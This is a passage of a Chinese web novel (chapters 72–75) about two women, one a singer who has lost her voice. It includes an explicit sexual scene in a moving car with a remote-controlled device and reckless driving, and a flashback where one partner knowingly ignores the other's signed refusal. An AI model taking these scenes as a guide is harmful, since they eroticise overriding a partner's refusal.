闻言,许风扰果然停顿住,目光紧紧盯着对方。 许南烛反倒不急,倒了杯茶水再继续道:“你们这两天频繁跑医院的事,可被不少人注意到了。” 许风扰随之皱眉。 即便两人已经小心再小心,可柳听颂那么个咖位摆在那边,即便医院严格保密,也拦不住旁人窥探,总有聪明人能察觉到蛛丝马迹。 “柳听颂之前能瞒得住,是因为她提前躲到国外,但这一次……”她笑了下。 “你威胁我?”许风扰挑了挑眉,眸光更寒。 “我说过,这是一场交易。” 许南烛摇了摇头,就道:“接受这套房子,去南园看一眼,完成你外婆最后的遗愿。” “作为交换,我会帮柳听颂压下这些舆论,还有给你的乐队一份极优越的合同。” “你凭什么认为我会答应”许风扰深吸了一口气,被引导控制的感受并不舒坦,尤其对方还是自己所厌恶抵触的人。 许南烛一顿,反问道:“我给的诚意还不够” 茶杯抬起又放下。 “那我再给你透露个消息?”许南烛笑了笑,眼神中充满笃定。 “在她回国的这段时间裏,柳听颂工作室可为她签下不少工作,现在一拖再拖……” “据我所知,其中有一个竞技型的音综,很早就开始和她的工作室接触。” “那边对此可是给予极高的厚望的,圈裏人也一直在争抢,要是她们知道柳听颂失声……” 许南烛笑了下,没再继续往下说,反而道:“我公司这边也争取到了一个位置,如果你愿意,这个位置可以是你的。” 话毕,她将茶杯中的水饮尽,放下之后就道:“你别着急着拒绝,多考虑考虑。” “你既然觉得我亏欠你,那这些就当做我对你的补偿。” “毕竟我就你一个孩子,未来也没打算再有。” “与其抗拒,倒不如接受,反正是地上白捡的钱,不要白不要,你说是吗?” 刚说完这些,许南烛站起身就走,只在出门时留下一句:“你好好考虑,考虑清楚再联系我。” 许风扰僵在原地,置于桌面的钥匙还未被拿走,放在正中心的位置,被光一照,亮得刺眼。 许风扰跌坐在座位上,深吸一口气,却无法彻底压制情绪,只能闭上眼帘,沉重呼吸使胸膛不断起伏,额间的青筋仍然鼓起,许久未能消散。 大抵过了半个小时,那包厢的门才被重新打开。 依旧是那副打扮的许风扰从中走出,步伐携风,大步往外,片刻就走到停在路边的大G面前。 裏头的柳听颂还在等待,规规矩矩坐在副驾驶,一身白裙,长发披散,清冽疏离眉眼在看向许风扰时,瞬间舒展开,温柔氤氲。 她举起手机,屏幕上是早就打好的字。 【你回来了?她和你说了什么吗?】 车门被重重打开,又被用力关上,这个车厢都跟着抖起。 可柳听颂没有半点慌乱,温柔如水的眼眸倒映着对方面容。 昨夜许南烛打电话邀约时,她就在旁边,不曾干扰许风扰去与不去的决定,只是坚持跟来,哪怕最后只能等在这个狭窄座位裏。 那人坐了进来,拧紧的眉头即便努力缓和了许久,也依旧没有松开一点,只能压着声音道:“走了,回去了。” 不想将之前的事情告诉柳听颂,也不愿意在此刻提起。 可柳听颂却伸手,牵住许风扰的左手,温凉指尖挤入指间,毫不费力就能与之十指紧扣。 许风扰下意识挣脱,却被柳听颂扣紧。 那人侧身贴来,额头与之相抵,温驯的眼眸写满安抚。 “柳听颂别闹。” “我现在很烦。” 许风扰又深吸一口气,下意识摸向裤兜,却没有摸到那个本应该存在的方形盒子。 她一愣,这段时间的情绪极不稳定,所谓的戒断期不过是更纠结的来回折磨,短暂快乐后是长时间的自我拉扯,她对香烟的依赖与日俱增,已将它当做随身必备的东西。 可是现在为什么会消失不见。 她抬眼看向柳听颂,那人坦然与之对视。 偷烟的贼没有一点心虚,甚至有点理所应当。 “柳听颂,还给我,”许风扰一忍再忍。 可那人却拿出早就准备好的东西,往她手中塞。 许风扰眉梢一跳,作为前几日陪着柳听颂逛超市,一并采买物件,且付款的人,她自然知道对方给她塞了什么东西。 只是…… 那人伸手勾住她脖颈,开合的唇用口型道。 【我比烟更管用】 第72章 遥控器上的数字不断往上。 车轮碾过柏油路, 繁华的城市好像永远没有空旷的时候,两旁都是车,她们被挤在中间, 只能跟着车流往前。 手滑过皮质方向盘, 清晰分明的骨节发白,在不耐烦中越发凌厉。 镜中的面容依旧, 不知从何时起,大抵是那日大雨后,总是阴郁的, 像看不见底的沉沉潭水, 落叶被吹落其中, 也被推往边缘。 可仔细比较,又觉得不同。 情绪焦灼, 紧紧盯着前头的碧色眼眸, 隐隐带着几分疯狂偏执, 余光时不时瞥向旁边, 方向盘的皮套被薄汗沾染。 随着红灯亮起, 车流又一次陷入停滞。 许风扰定定看着前头, 一直攥着遥控器的手却往上调, 显示屏的按键从一到二,像是潘多拉的魔盒,被一点点撬开。 旁边的女人明显受到影响,手拽住安全带,纤细的手腕在日光下,近乎透明, 像是飘忽、不可抓住的人,但指尖却泛红, 与耳垂间的绯色一般,出自同一种染料。 紧紧贴在一起的双腿,裙摆在不耐地磨蹭中,逐渐拉扯往上。 在这种情况下,许风扰反倒走神。 想起她喜欢机车的原因。 她们第一次骑车就是况野带的,想不起那天发生了什么,只记得楚澄与纪鹿南早就眼馋许久,觉得骑车帅,能吸引女孩子注意,便一直磨着况野,闹着要学,但每次都因为各种各样的事情耽搁,一直拖到那会。 而许风扰呢,纯粹是个凑数的。 三人见她一直郁郁寡欢,就喊她一块出门,权当散心。 可最后却是许风扰扒在车身上,骑了一轮又一轮。 还记得那天的感受,不算特别好的天气,阴云密布,刮起的风往四肢削,在细密的刀锋中,密密麻麻的疼都冒出。 可许风扰并未理会,那些不断攀爬涌出的回忆都被阻拦,全部的注意力都在转向把、发动机、油箱之上,不断的加速,濒临危险后的大脑空白,在这样生与死的边缘,许风扰竟可耻地感受到了一丝自由。 可在此刻,她连开车都不能专心,总想要偏头。 其实她也可以将车停留在偏僻处,效果也是一般模样。 可许风扰偏不,就像另一种的自我折磨,非要把自己会对方放到那种境地,在自我放纵时带上克制的项圈。 旁边人呼吸更乱,无法说出完整字句的唇开合,只能发出些许含糊的音调。 那些克制的、求饶似的声音,在失控中,一点点挤出。 让人不禁想起之前,那人将能让自己失控的物件,一点点塞入她掌心,温柔缱绻的眼眸像是无声的邀约,勾着她往危险边缘去。 她今儿穿得很柔软,棉麻质地的白裙,没有太多搭配,连鞋都是裸色的羊皮平底,柔和到几乎可以包容一切的温柔模样,哪怕被欺负哭,也会抱着你轻声喊着好孩子的那样包容。 被愤怒包裹的弦彻底断开,纤长的手拽起裙摆,既是为了更好的忍耐,也是为了方便许风扰。 装着黏腻液体的包装袋被丢弃,那物件变得溜滑无比,几乎从指间逃出,废了些力气,才放进去…… 将她们困住这裏的红灯,终于闪作变作别的颜色。 发动机轰然响起,径直往郊外去。 车速无意识加快,在临近违规边缘后被迫压下,反反复复。 于是在下一个红绿灯时,许风扰打开了音乐,不知道听的是什么,乱点出的随机。 此刻已是下午时候,暖阳逐渐往西斜,周围的车流变得更加拥挤,幸好并未影响到许风扰两人,毕竟她们与所有人都背道而驰。 穿过高架桥,掉入老旧的楼房丛中。 不知何时,遥控器显示屏上的数字已变做四,即便有音乐声环绕,也隐隐能听见一点机器的震动声。 那些黏腻的调子,即便在刻意压抑下,仍从唇齿间洩出,紧贴的双腿在不断摩擦中,多了几抹红意,座椅都被沾湿,一直开着的空调彻底失去作用,薄汗还是冒出。 紧拽着安全带的手松开,想要拽住许风扰的衣袖,又怕打扰到对方,无奈压住。 呼吸更重,这种感受难耐。 或快或慢的频率,压着最敏///感的地方,要将整个人都拉入欲念的深渊裏,可当眼帘掀开,周围明亮,旁边的司机抿着唇,略微烦躁的表情看不出半点沉沦,又让人骤然惊醒。 一面在坠落,一面理智拉扯,在这样的来回中,感受变得更加鲜明复杂。 要命。 扯着安全带的手紧了又紧,布料下的腰腹起伏,感受在迭加,逐渐濒临界点,可下一秒,一切感受都被剥夺,瞬间消退,就好像走过漫长沙漠的人,在即将触碰到水杯时,却发现这一切都是一场幻觉。 柳听颂偏头看向旁边,那人依旧镇定,好像不曾捏着手中的遥控器,在最高点时骤然关上。 白布最是显色,哪怕是一点点水迹,逐渐散开后,紧紧贴在瓷白肌理上。 不知何时起,两旁的楼房变作低矮田地,一眼望去都是被坠弯了腰的小麦,风一吹就跟着晃。 就连来往的车辆都不见几辆,天边的云散开,露出橙红的太阳,柳听颂下意识看向显示屏,才察觉此刻已是傍晚,她们已经行驶了一个小时了,而她也被来来回回折磨了好几次了。 即便是自己先起的头,柳听颂还是忍不住往旁边瞪了眼,也不凶,耳垂、指尖的绯色弥漫开,整个人都浮现出清软的嫣红色,原本清冷骄矜的模样都化作可怜可欺,说是瞪,还不如叫作嗔怪。 可另一人却没有露出心虚神色,当骨子裏的恶劣被纵容,就会变得越发不可控,恨不得都涌出来,告诉对方自己的不堪。 随着一按,由零变作一,那嗡嗡的震动声掺着些许水声又一次响起。 刚放松下来的女人再被掌控,将安全带揉得发皱。 可旁边的许风扰却无动于衷,大拇指在按钮上随意压下,连她自个都不知道会按到哪裏,如同此刻的车速,完全不可控。 音乐声还在继续,柳听颂无意窥见歌词,又忍不住留神注视。 “Beg me,” “Cry me。” 鼓声操纵着节奏,压迫感随之落下,穿着高跟鞋的女人踩在困首脊背,鞋跟碾磨,要她俯首称臣。 “Baby,” “No one but me can leave you scars,” “Beauty, yea lately,” “Your body is sexier to touch, oh。” 遥控器上的数字再一次增加,反复压抑后的迭加,让阀值一而再再而三的放低,已到了随意触碰就可以宣洩的地步。 可许风扰不允许,始终掌握着主动权,不肯让柳听颂舒服,也不许她平淡没有感觉,更不准她分神。 方向盘一打,突然绕向小路,郊外的林叶还未完全落尽,堆积出的厚厚地毯无人管理,车轮已一掀就纷纷扬起。 许风扰显得对此啥十分熟悉,车速猛的一提,绕来绕去的山路也被开出轻松的感觉。 只是苦了旁边那位,受了一种折磨还不够,还被车速逼得紧紧压在车座。 “Take take take it slow, keep your eyes on me now,” “Take take take it off, on your position now,” “Dont dont dont you know, weve got a whole night long to。” 歌声还在继续,像是某种心理暗示,在听觉与触感中,将难耐加深。 安全带终于被松开,她拽住许风扰的小臂,发不出声音的唇略微发干,张张合合间,想要说些什么,却什么都说不出来,只能发出可怜又薄弱的猫呜声,眼尾的雾气彙聚成珠,滑过脸颊就往下落。 “See the dusk till dawn, hear your voice is getting sweet and hoarse,” “Say say say my name, to hell and paradise when。” 仪表盘与遥控器显示屏上的数字攀升,速度彻底不可控。 绕过一个大弯,车身倾斜,两个人都跟着歪倒,柳听颂手臂触碰到许风扰的手臂,贪恋着紧贴,不肯再松开。 座椅已经湿透,水珠顺着纹路滴落往下。 树梢撞向车窗,从不大的缝隙中挤入,飘下几片枯黄的叶。 感受在不断拉长,从一个高峰跳向另一高处,始终没有尽头。 “Slow, high, middle, breath,” “Shape the tempo for us。” 歌还在继续,歌词变得越来越过分,却是柳听颂渴望而得不到的。 加速、再加速。 远处的天空都被渲染成澄红,山间的风越发清凉,呼啸着从耳边擦过。 遥控器上的数字终于变作最大值,此刻都不需要仔细辨认,就能听到嗡嗡声拍打着水,响声尤其明显。 安全带逐渐束缚不住,绷紧的腰腹抬高成桥,在战栗中不断颤抖。 仿佛有无数只蚂蚁成群结队钻入骨缝,疯狂啮噬着血肉,可再多的颤抖,也只是饮鸩止渴,无法填满最深层的渴望,甚至还会因此产生抗药性,激发出更多的不满足。 直到枝干被推开,落叶被抛在车后,被层迭林荫遮掩的天空终于可以彻底展露,大片大片的火烧云在肆意燃烧。 灿烂的霞光轰然落下,撒在两人眼眸,车轮忽然剎住,发出刺耳声音。 柳听颂不禁前倾,灵魂遽然抽离,躯体飘忽,被云包裹,颅腔内陷入一片真空状的空白,什么都无法思考,什么都无暇顾及。 ——扣。 被解开的安全带发出清脆一声响,座椅被一下子按下。 许风扰将遥控器甩开,附身压来。 这场漫长的铺垫终于到了尽头,随着山间红日一般,理智彻底不在,被欲///念坠下深渊。 恍惚间,好像听到柳听颂说了些什么,可下一秒就只剩下零零碎碎的哭腔。 天边有浅淡的弯月浮现。 第73章 不要…… 今夜碎星繁多, 本以为傍晚间瞧见月牙,便不会再也那么多星子,却不想月痕淡去, 只余下被戳出细密小洞的蔚蓝天空。 而白发少女斜倚车身, 仰头看着星空,指间的火星忽明忽暗, 晚风吹散烟雾,又有新烟生起。 凌晨山间是寂静而可怖的,几乎凝成墨的黑, 刻在骨子裏的本能会不受控制地生出恐惧, 要你快些逃离这无人之境。 可许风扰却杵在原地, 浓夜遮掩瞳色,变作化不开的惆怅。 谁也不知道许风扰在想什么, 连她自个也不知道, 本以为早已* 习惯了自己杂乱跳跃思维, 并能从中抽出自己想要的答案, 可此刻久久无法得出答案。 她试图让大脑思考些确切的问题, 比如她手裏的烟是从哪裏来的 这个问题简单, 烟盒是出门前揣着的, 偷烟的小贼穿着长裙,没有口袋遮掩,许风扰又料定她不敢随意丢弃,所以烟只会藏在车中,许风扰瞧了眼后座,轻轻松松就在座椅周围寻到。 比如这裏是哪 虽是漫无目的地乱走, 可人还是会下意识顺着熟悉的路往前。 这山同样,是之前楚澄通过朋友寻到, 几次拉着她们过来露营,后头许风扰也记住了路。 思绪终于落到实处,让人稍稍松了口气,开始认真考虑现在的情形,幸好经常和楚澄她们去露营,所以后备箱裏还剩下不少储备,例如汽油、矿泉水、压缩饼干还有一套炊具。 她等会需要给车加点油,再煮些热水。 眼下虽还是秋季,可山间温度远远低于城市,车中开着空调还不觉得冷,可一下车就被冷得哆嗦,刚披上的外套已全是露水。 如此情形下,自然不能单喝冷水陪压缩饼干。 而连夜下山最不可取,此处山路狭窄曲折,又不像寻常公路有路灯照明,稍有不慎就有翻车跌落的风险。 想到这儿,许风扰重重吐出一口浊气,明了自己一时的失控将两人置于进退不得的境地,心中却没有丝毫后悔。 唯独…… 手机屏幕亮起,被临时拜托的楚澄发来几个视频,不等许风扰点开,那人就火急火燎地打来视频,接通之后就开始嚷嚷。 “嘿,柳听颂这猫怎么那么凶差点给我一爪子。” 自从知道那事后,燃陨三人默契改了口,就连听颂姐都不叫了,跟着许风扰连名带姓地喊。 “哎哎哎,祖宗,我给你开罐头呢,凶成这样干嘛呢!” “嘿,许风扰你管管这猫啊。” 许风扰没有说话,只是默默将声音按到最低,余光瞥了下裏头,而后才回到屏幕中。 “你别一惊一乍的,三斤性格温顺,不会随便抓人,”她消声说道。 “哎,温顺个啥啊?”楚澄急得不行,屏幕一转,对着沙发上的猫就拍,嚷嚷道:“你瞧瞧你瞧瞧,它在凶我呢,亏我还给它带了猫条。” 镜头裏的小猫确实警惕,一只猫都站起,凶巴巴盯着楚澄。 惹得楚澄撬一下罐头,还得看它一样,生怕自己被抓。 “下次这活你可别喊我来了,”楚澄气不打一处来,要不是被之前许风扰发的视频迷惑,觉得这猫可爱,她才不抢着过来。 “肯定是你不招猫喜欢,”许风扰才不信她。 “谁说的,我小区楼下的猫没一只不粘我的,”楚澄不甘嚷嚷,同时话锋一转就道:“咋回事啊?你和柳听颂又贴一块了?” 这段时间的事情,许风扰并未告诉她们,总觉得要分开,说了也没有用,还要麻烦着解释,索性瞒着,若不是今天出了意外,她又担心家裏的三斤无人照顾,也不会拜托楚澄上门。 她抿了抿唇,只道:“过几天再说。” “成,”楚澄摇了摇头,她这人最爱刨根问底,偏在许风扰与柳听颂这儿,她不敢多问。 罐头被开起,她往猫碗裏一放,立马就退到一边去,嘀咕道:“柳听颂怎么养的,视频裏还不觉得,现在看着像头小豹子一样。” 许风扰没理,没心情和她扯这些,三两句就想挂,吓得楚澄哎哎几声阻拦,忙问道:“你现在和柳听颂待一块怎么黑漆漆的?你两干啥呢?” 被许风扰吓到,她的语速都快了不少,连忙抛出一堆问题。 许风扰沉默了下,手中的烟刚好燃到尽头,将回忆拉扯向之前。 日落西山,红霞满天时。 大抵是之前太过分,副驾驶中的女人变得急切,即便被座椅放倒,也要抬手勾住许风扰脖颈,将本就压过来的人往下拽。 她仰头,还没有从残余的战栗中完全清醒,却本能地讨吻,想要触碰许风扰。 可下一秒就却被安全带勒住,之前被揉拽的布带,现在成了最烦人的束缚。 她当时要去解开,可却被另一人察觉,下一步拽住她的手。 “别动,”不容置疑的命令声。 她偏头躲开对方的吻,将距离掌控在极近又无法靠近的范围裏。 她低声呵斥:“柳听颂,没有我的允许,不许动。” 垂落的白发与墨丝勾连,微微摇晃。 沉重的呼吸声交替响起,即便是空间略微宽大的越野车,也无法让两个人轻松挤在一个位置,故而,腿脚相迭,腰腹随着呼吸起伏,几次碰到。 可这些都还不够,起码对于现在的柳听颂而言,还太过浅淡。 没有灵魂的物件给予的感受,在起落后就会被虚无包裹,那点强压住的渴望如引线被点燃,偏执而疯狂的叫嚷着。 可许风扰叫她不要动。 垂下的手拽住对方衣领,紧紧揪出繁琐皱痕,却不敢继续往下扯,只能捏压着、克制着。 眼尾的雾气氤氲成珠,要坠不落,最是可怜,更何况身上的白裙已皱得不成样子,湿淋淋的,几乎可以拧出水来,像是被雨打湿的白玉兰,曾在枝头的高洁矜雅被泥水打落,淹没在水洼中。 “不准动,”许风扰再一次强调,惹得身下人眼尾水珠一晃,可她却没有半点心疼,将专权独断表现得淋漓尽致,另一人只能跟随她的指令,顺从她的喜怒,完全交于她支配。 “许风扰!” “许风扰你发什么愣啊!” 突然的声音将回应打断,将注意力拉回。 她扯了扯粘在一起的唇,说:“发生了点意外。” “啊”楚澄挠了挠头,总受不了这样的含糊。 “我和她现在在山上,明儿再回去,”许风扰最后只这样说。 “行吧……”楚澄很懵地点了点头,又补充了句:“你们注意安全。” “好,”许风扰这个时候的反应就很快,还不忘嘱咐:“出去的时候记得锁门。” “知道了知道了,”楚澄不耐烦地回答,还没有说其他就被挂断,徒留她一个人在原地,表情扭曲而复杂。 而另一边的许风扰已收回手机,时间不允许她再耽搁,立马站起身,绕向后备箱。 一阵噼裏啪啦折腾,火光终于亮起,置于小锅中的水冒出热气。 许风扰僵坐在火堆前,回忆一旦浮现就很难压下,眼前的事情被处理完,就没有其他借口压下,不由自主地泛滥开。 不被允许触碰的女人委屈至极,却当真一动不动,乖巧得让人忍不住更过分。 覆着厚茧的手来回徘徊,将肌肤当作画布,有意无意描出绯色花纹,比窗外的火烧云更艳丽。 不成调的声音在耳边含糊响起,像是刚出生的幼猫还没有学会喵叫,仅凭本能在哼唧,带着哭腔渴求。 可真给了,她又不乐意了。 之前的压制让一切都变得简单,一次接着一次,不断攀升又落下,眼尾的泪连成串般的滑落,拽着衣服的手也无法再继续,跌落在旁边。 直到彻底承受不住,一两次是舒服,可堆积太多后,感官就变得分外敏///感,轻轻一碰都惊起战栗,好久都不见停下,彻底失控。 她试图逃避,却被安全带勒住,而狭窄空间也不准她躲到哪裏去,退无可退,连蜷缩都做不到。 而许风扰恶劣,得到无限纵容的人永远不用担心之后,甚至在又一次腰腹绷紧后,笑着要柳听颂求饶。 柳听颂哪裏做得到,只能用仅存的理智勉强摇头,被咬破的薄唇开合,除了拉扯出晶莹银丝,什么都没能发出。 好可怜。 许风扰脑子裏冒出一句又一句的好可怜,那人被欺负得凄惨,呜咽着讨饶,试图用抬起灌铅般的手比划,费尽力气后却只得到一个不知道。 “我不知道,柳听颂。” “你在瞎比划什么?姐姐。” 那人明明已经看懂,在陪伴柳听颂四处看病的空隙,她也在学手语,谈不上精通,但最简单的拒绝却是知道的。 但许风扰不想知道。 柳听颂塞入她手中的物件不止一个,现在全部都还给她,遥控器被乱按,连她自个都不知道自己在按哪一个,混乱的节奏,白裙被彻底报废。 “嘶……” 弹起的火星落在手背,将许风扰吓了一跳。 再看过去,小锅中的水已沸腾。 许风扰随意搓了搓被火星弹过的地方,拿小碗就要舀水,等到稍凉后才将一切处理干净,而后绕进车内。 裏头的女人依旧睡得极沉,被摇晃后仍不肯醒,迷迷糊糊发出几个音节又合上眼帘。 让人想起先前,她被许风扰逼到极致后,哭哑生疏话语:“……不……要……” 许风扰眼神虚晃一瞬,又被拉扯回,将盖着薄被的女人抱起,一边哄着一边将热水喂下。 窗外夜色更浓,被水彻底浇灭的废墟冒着白烟,有虫蚁爬过后又绕道离开,周围彻底陷入寂静。 第74章 要不要一起去泡温泉 “张嘴, 和我说……“ “你、好。” “……啊。” “你……好……” “啊……” 四面白墙搭建出的静谧空间裏,声音不断发出,却一直只是一个人的自言自语, 对面的女人极力配合, 可最多能发出几声不成调的啊、额声,额间都冒出薄汗, 眼眸中写满无能为力后的焦急。 许风扰还算镇定,一遍遍地重复。 大抵教一个婴孩也是如此困难,或者更困难些, 毕竟谁也无法叫醒一个装睡的成年人。 “你……好……”极力拖长的语调, 将口型清晰展示。 对面的人模仿得完美无缺, 却没有声音发出,像是一场默剧。 窗外的枯枝晃动, 发出沙沙声响, 满大街的落叶已被扫去, 只剩下空荡荡的街道, 鲜少有人走过, 此时距离山间那日, 已过去半月有余。 许风扰吸了口气, 索性换了词彙,一字一顿道:“柳、听、颂。” 对方反应依旧,怎么可能因为不同的字句就产生变化。 “柳……” “听。” “颂。” 钟表上的分针转动,影子催促着时针跳到下一格。 许风扰定定看着对方开合的唇,无端想起了小时候,学校门口总是有一些哄骗小孩的玩意, 比如五毛钱一张的刮奖券,它的付出成本不高, 却能刮出五块、十块这样的大奖,是足以让一个小孩快乐好几天的巨额财富。 所以总有小孩经不住诱惑,拿出仅有的零花钱不断刮奖,最后却什么都没得到,只能灰溜溜回家。 幼时的许风扰对此并不感兴趣,可如今的许风扰,却觉得自己在不断撕开这样的奖券,只是这中奖率比黑心小贩设置得还要低,至今都未能得到结果。 “休息一下吧。” 漫长的教学实在太过磨人,哪怕是总在乐器间打磨性子的许风扰,也不禁生出几分颓唐。 “喝点水,休息一下,”注意到之前语气中的生硬,许风扰缓了下又重复,并将置于旁边的水杯拿起,递到对方手中。 她窥见柳听颂低垂的眉眼,哪怕极力掩藏,也难遮住的愧疚。 “没事,今天已经练习很久了,”许风扰拍了拍她的手。 “喝水,”她碰了碰对方的手,温声催促。 她耐心等到柳听颂喝完水,才起身开口:“我去抽支烟。” 对方下意识抬手,想用手语比划个好,可又被手中水杯阻拦,最后只能目送着对方的背影消失在门外。 ——嘭! 门关了。 医院尽头的窗户承载了太多灰尘,连明亮日光都无法从玻璃窗中穿透。 许风扰站在窗内,不敢太贴近,隔着巴掌大的距离,熟练拿出烟、点燃。 深吸一口后,情绪才得以缓和。 耳旁又响起早上与医生的对话。 “……柳小姐目前的情况还是棘手,虽然你说过她曾无意识开口说过话,可她并非是真正意义上的语言丧失,而自我的封闭与抗拒。” “她看似配合,实际一直在抵触治疗。” “我的建议是你们还是要从根本出发,而不是用刺激手段逼迫她。” “康复训练的话……我是希望你们继续下去,但是希望确实不大。” 思绪落到这儿,指间的烟燃尽半截。 碧色的眼眸涣散开,前头的景物都变得模糊。 根本原因啊…… 她看向朦胧玻璃窗中的自己,扯了扯嘴角,露出一个毫无情绪的僵硬笑脸。 丢在口袋裏的手机又响起,许风扰还以为是柳听颂在寻她,结果却是楚澄的消息。 联系人那边还有红点,许风扰却直接忽略,点开燃陨的群聊。 自从上次离开医院后,她便删除了李见白的全部联系方式,只是那人不懂,不断换着方式想要联系她,许风扰只当没看见,单方面与对方划清的界限。 群裏依旧热闹,这段时间都没有工作安排,公司那边打定主意要冷藏她们,她们也乐得清闲,就是无聊的时候,总在群裏叭叭个不停。 许风扰偶尔也会参与,但大多时候保持沉默。 一如现在,将全部消息拖看完后,才慢悠悠看向后面。 楚澄想叫她们一起去酒吧,她之前提起过的那个鲨鱼乐队又被邀请,要在今晚演出,楚澄还提前答应她们,说燃陨其他人也会过来,可以给她们一点指点。 话说到前头的后果,就是她现在在群裏求姐姐喊奶奶,央着众人今晚来酒吧玩。 况野、纪鹿南气她提前承诺,一时不肯答应,故意逗着她玩。 楚澄少有的弱势,愣是被欺负了半天不敢反抗,最后求到许风扰这儿。 许风扰眼中闪过笑意,却没有一口答应下来,故意和大家一起逗着她玩。 惹得楚澄要炸毛,却苦着脸好话不断。 还是头一回见她这样,许风扰不由对那个鼓手产生一丝好奇心。 此刻有脚步声响起,逐渐接近后停留在她身边。 许风扰没有抬头,只是将屏幕微微倾向她那边,让她也能看见,同时大拇指还在键盘上打字。 楚澄憋不出其他话来,最后竟发起磕头的表情包,还专门挑些可爱的。 许风扰忍不住想笑,颤抖的手臂贴向旁边,旁边人不仅不躲,还越发靠近,直到两人完全贴在一块。 “这家伙真的是被拿捏了,”许风扰偏头道。 那天的对话,柳听颂也在旁边,自然知晓许风扰在说什么,她点了点头,又指了指屏幕上的字,是楚澄刚发出来的话。 【各位姐姐奶奶祖宗,求你们了,来喝酒行不行?不喝也可以,屈尊来酒吧看看你们未来妹媳吧,妹妹这辈子的幸福就靠你们了】 指尖压在那个行不行上,许风扰揉了揉笑僵的脸,问:“你想去吗?今天辛苦了。” 自从那日山间后,两人的关系好像得以缓和,许风扰不再一直板着脸,柳听颂也能偶尔贴近,可要说彻底和好也不算,始终隔了层东西,哪怕日日相拥而眠也无法融化。 但这事情没有办法,或许有法子改变,却不是柳听颂所能接受的,所以只能这样无奈僵持着。 柳听颂先是点了点头,又扯着许风扰的手,缓缓摇了摇头。 前者是答应,后者是想说她不辛苦,辛苦的人是许风扰。 许风扰没理这些,只是唇边的笑意淡了些许,继而道:“那我们吃个饭就过去,看看是谁把楚澄迷成这样。” 柳听颂看着她,用眼神说了句好。 话虽如此,但群裏的捉弄还是不停,气得楚澄都开始扯自己的功劳,提起过段时间的温泉聚会,说她准备得妥妥当当,一定让她们全都满意,最后连昭昭都被搬出来了。 几人笑得不行,最后才装作勉为其难的答应。 再抬起头,柳听颂依旧粘在她身侧,不曾打扰,就这样静静看着。 这好像是第二次让她知道这事了。 许风扰沉默了下,才道:“要不要一起泡温泉?” 话刚落下,她又补充道:“就当放松了,看看橙子找了什么地方,神秘兮兮地瞒了好久……” 她话还没有说完,柳听颂就点了点头,盛着秋水的眼眸温润,像是最柔和的玉石。 许风扰定定看了眼,才道:“走吧。” 烟被丢进垃圾桶,风将残余的味道吹散,幽幽吹向城市的另一处。 “许总。” 装饰简约却不失奢华的办公室内,穿着高跟鞋的女助理敲门走近,低声就道:“石老师过来了,说前几日想约您吃饭,却一直没得到答复,知道您忙,他便亲自上门,希望您能抽空见他一面。” 手中文件夹被合上,许南烛面色不变,只冒出两字:“不见。” 助理表情一僵,想到之前得到的好处,只能咬牙道:“他的态度很诚恳,就是想知道哪裏得罪了许总,他说他一定改……” 话还未说完,就见许南烛掀起眼帘,似笑非笑地看向她。 助理背后一寒,剩下的话彻底堵在嘴中,吶吶道:“许总……” “知道什么不该说就不要说,”许南烛轻飘飘冒出一句。 助理连忙点头,背后已冒出冷汗,顿时后悔不已。 她能答应下来,自然打心裏觉得这是件小事,毕竟这石老师已是娱乐公司那边的老将了,自从柳听颂离开后,他就主动与许南烛接触,签订了合同,给当时人心惶惶的公司吃了下颗定心丸。 虽然后面没为公司赚很多钱,但许南烛念着这事,倒也没亏待他,送了不少资源,愣是给对方立下了个德高望重的老前辈人设,在圈裏很是吃得开。 只是不知最近怎的,他突然就遭到许南烛厌弃,要他合同结束后就自己滚蛋,那石老师自然惶恐,几次约饭,各种托人道歉,如今更是亲自找上门了。 小助理脑子转了又转,始终没有找到什么线索,毕竟这石老师平常也算老实,只有前段时间临时拒绝了某个直播综艺的邀请,不过那不是因为有许风扰吗…… 石老师也是为了讨好许南烛啊。 小助理实在想不明白,只能战战兢兢站在一旁,许南烛手一伸,她就将旁边文件夹递上。 那人瞧出助理的不安,却未理会,自顾自忙了一个小时,才慢慢抬起头来,揉了揉脖颈,看似无意地问道:“最近公司下面怎么总是有吵闹声?” 助理表情一肃,连忙解释道:“是两个狗仔,总闹着想见您,我等会就让保安把他们赶远点。” “是吗……”许南烛笑了笑,半点没放在心上。 反倒是那助理想起什么,眼睛骤然睁大。 那两狗仔好像就是因为得罪了许风扰,所以才被赶出圈内,许总此刻提起…… 背后的冷汗更重,虽然不明白此中关系,但助理却不敢将这话当做许南烛的随口一说,只是默默打定主意,这石老师再帮不得了。 风又刮起,夜色更重,酒吧掀起吵闹声音。 第75章 偷偷牵手 酒吧好像一直一样, 不管相隔多久而来,暗淡灯光与喧闹声交融,空气裏泛着酒精味道。 为了看演出, 众人皆聚在楼下的卡座中, 即便是楚澄特意留下的最隐蔽位置,还是有视线不断扫来。 燃陨几人还好, 最惨的是柳听颂,帽子与口罩一直未能摘下,再配上黑框眼镜, 与此刻的环境很是违和, 却又不得不这样。 不管心裏有多少不满, 楚澄此刻还算体面,连连向柳听颂道歉后, 许诺等鲨鱼乐队演出结束, 她们就搬去二楼。 柳听颂想要拒绝, 表示没必要那么麻烦, 却无法真正出声阻拦, 连摇两下脑袋的拒绝做法都被忽略, 最后只能扯了扯许风扰衣袖求助。 那人却不肯帮忙, 只是拍了拍她的手表示宽慰。 急得柳听颂拿出手机要打字,却被许风扰先一步压住手机。 “喝点牛奶,”许风扰拿过杯子,便往她面前放。 虽然柳听颂的失声无关生理,但总会让人下意识担忧起她的嗓子,平常连辛辣的食物都刻意避开, 更别说酒精,柳听颂还没有提出要求, 许风扰便先自作主张,替她点了牛奶。 而燃陨其他人也是如此,说话声音被放缓,带着几分小心翼翼的感觉。 潜意识都将她当做病人,必须小心照顾着。 这样的事情并非柳听颂第一次经历,在国外的那几年也时常出现,让她并不陌生,可想要解释却又难以反驳,只能将牛奶接过。 而许风扰则拿起酒杯。 这画面好笑,明明上一次来此时,许风扰还是个主动点牛奶、不喝酒的乖孩子,被柳听颂哄着骗着才破了例。 如今倒好,角色互换得彻底,不爱酒的那位现在烟酒不忌,诱哄的那位只能抱着牛奶杯…… 柳听颂低头抿了一口,甚至还是温热,放了些许蜂蜜。 心裏不知是什么滋味,她又想拿起手机,似乎有话要说,可温凉指腹刚碰到许风扰手背,便听到楚澄突然激动出声:“来了来了!” “就左边那个、最左边的,”她压低声音,不断提示。 惹得众人纷纷望去。 只见高臺之中,有四个面容稍显稚嫩的少女走出,来不及看其他人,便落在最后那位身上。 几乎是下一秒,大家都呆住。 纪鹿南面露难色:“你喜欢这款” 况野结结巴巴:“你、这,你这也……” 